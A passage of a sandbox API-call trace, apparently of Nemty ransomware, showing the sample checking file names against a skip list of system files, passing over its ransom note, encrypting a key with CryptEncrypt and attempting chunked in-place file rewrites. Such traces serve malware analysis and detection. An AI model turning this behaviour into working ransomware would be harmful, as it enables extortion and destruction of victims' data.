lpString2="desktop.ini") returned -1 [0125.524] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0125.524] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0125.524] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0125.524] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0125.524] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0125.524] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0125.524] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0125.524] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0125.524] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0125.524] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0125.524] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0125.524] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0125.524] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0125.524] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0125.524] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0125.524] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0125.524] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0125.524] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0125.524] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0125.524] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0125.524] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0125.524] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0125.524] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0125.524] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0125.524] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0125.524] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0125.525] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0125.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0125.525] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340288 [0125.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0125.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0125.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0125.525] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfda905b0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xfda905b0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xfda905b0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0125.525] FindClose (in: hFindFile=0x3423a70 | out: hFindFile=0x3423a70) returned 1 [0125.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340288 | out: hHeap=0x4f90000) returned 1 [0125.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340158 | out: hHeap=0x4f90000) returned 1 [0125.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0125.525] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8538749b, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8538749b, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x291b8f29, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="logo.png", cAlternateFileName="")) returned 1 [0125.525] lstrcmpiW (lpString1="logo.png", lpString2=".") returned 1 [0125.525] lstrcmpiW (lpString1="logo.png", lpString2="..") returned 1 [0125.525] lstrcmpiW (lpString1="logo.png", lpString2="...") returned 1 [0125.525] lstrcmpiW (lpString1="logo.png", lpString2="windows") returned -1 [0125.525] lstrcmpiW (lpString1="logo.png", lpString2="$RECYCLE.BIN") returned 1 [0125.525] lstrcmpiW (lpString1="logo.png", lpString2="rsa") returned -1 [0125.525] lstrcmpiW (lpString1="logo.png", lpString2="NTDETECT.COM") returned -1 [0125.525] lstrcmpiW (lpString1="logo.png", lpString2="ntldr") returned -1 [0125.525] lstrcmpiW (lpString1="logo.png", lpString2="MSDOS.SYS") returned -1 [0125.525] lstrcmpiW (lpString1="logo.png", lpString2="IO.SYS") returned 1 [0125.525] lstrcmpiW (lpString1="logo.png", lpString2="boot.ini") returned 1 [0125.525] lstrcmpiW (lpString1="logo.png", lpString2="boot.ini") returned 1 [0125.525] lstrcmpiW (lpString1="logo.png", lpString2="AUTOEXEC.BAT") returned 1 [0125.525] lstrcmpiW (lpString1="logo.png", lpString2="ntuser.dat") returned -1 [0125.525] lstrcmpiW (lpString1="logo.png", lpString2="desktop.ini") returned 1 [0125.525] lstrcmpiW (lpString1="logo.png", lpString2="CONFIG.SYS") returned 1 [0125.525] lstrcmpiW (lpString1="logo.png", lpString2="RECYCLER") returned -1 [0125.525] lstrcmpiW (lpString1="logo.png", lpString2="BOOTSECT.BAK") returned 1 [0125.525] lstrcmpiW (lpString1="logo.png", lpString2="bootmgr") returned 1 [0125.525] lstrcmpiW (lpString1="logo.png", lpString2="programdata") returned -1 [0125.526] lstrcmpiW (lpString1="logo.png", lpString2="appdata") returned 1 [0125.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0125.526] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logo.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0125.526] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logo.png", cchWideChar=8, lpMultiByteStr=0x653ef10, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="logo.png", lpUsedDefaultChar=0x0) returned 8 [0125.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0125.526] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logo.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0125.526] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logo.png", cchWideChar=8, lpMultiByteStr=0x653ef10, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="logo.png", lpUsedDefaultChar=0x0) returned 8 [0125.526] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0125.526] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0125.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0125.526] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logo.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0125.526] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logo.png", cchWideChar=8, lpMultiByteStr=0x653ef60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="logo.png", lpUsedDefaultChar=0x0) returned 8 [0125.526] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0125.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0125.526] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logo.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0125.526] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logo.png", cchWideChar=8, lpMultiByteStr=0x653ef98, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="logo.png", lpUsedDefaultChar=0x0) returned 8 [0125.526] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0125.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340048 [0125.526] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0125.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63400d0 [0125.526] Sleep (dwMilliseconds=0x5) [0125.536] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xfe781d50, dwHighDateTime=0x1d561e7)) [0125.543] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xfe781d50, dwHighDateTime=0x1d561e7)) [0125.543] GetLastError () returned 0x12 [0125.544] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0125.544] GetLastError () returned 0x12 [0125.569] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0125.569] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0125.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0125.571] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0125.573] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0125.600] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0125.600] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340158 [0125.600] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340158, pcchString=0x653ec5c | out: pszString="rfwx4JuP3Ku+gLn9HunSr3Da/vvAKTQDIR9h6b0BZg/AWaQalN6O4irq4XoGOHt9\r\nuOVNAuUZeZB8CCluxtHzVailC6qUYVWBS6U25cG/YSlORYJPwObNT5qExZbNdHTk\r\nfQR4mqWSYdJvpF1Li/MUpZ+DXOvlyA+FCajUUrv4mqI0KIdek41bmfQoPKTuvk4q\r\npdexIc4jWrEEzSixarOmPExwL+jQEoVFqw3iSot77hL5CVCqkR5mXPskCshk2JvT\r\nR0Eg8NlTdKxDTA0rQdjgiiz3CQvPmxDbHJEuR/MLHheA/e52MvnvlIEhvO2R8H+4\r\n83sAkXEJ2c15L3Za+fIqxA==\r\n", pcchString=0x653ec5c) returned 1 [0125.600] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0125.600] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340158 | out: hHeap=0x4f90000) returned 1 [0125.600] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0125.600] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0125.600] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340158 [0125.600] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0125.600] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\logo.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\logo.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0125.600] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0125.600] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0125.600] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.600] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0125.610] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.610] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0125.610] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.610] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0125.619] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.619] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0125.620] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.620] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0125.629] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.629] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0125.629] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.629] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0125.638] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.638] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0125.638] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.638] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0125.647] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.648] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0125.648] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.648] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0125.665] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.665] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0125.665] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.665] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0125.674] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.674] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0125.674] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.674] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0125.684] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.684] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0125.684] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.684] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0125.693] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.693] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0125.693] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.693] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0125.703] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.703] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0125.703] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.703] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0125.709] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.709] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0125.709] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.709] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0125.715] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.715] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0125.715] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0125.715] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340158, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0125.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0125.716] CloseHandle (hObject=0xffffffff) returned 0 [0125.716] RtlAllocateHeap (HeapHandle=0x4f90000, 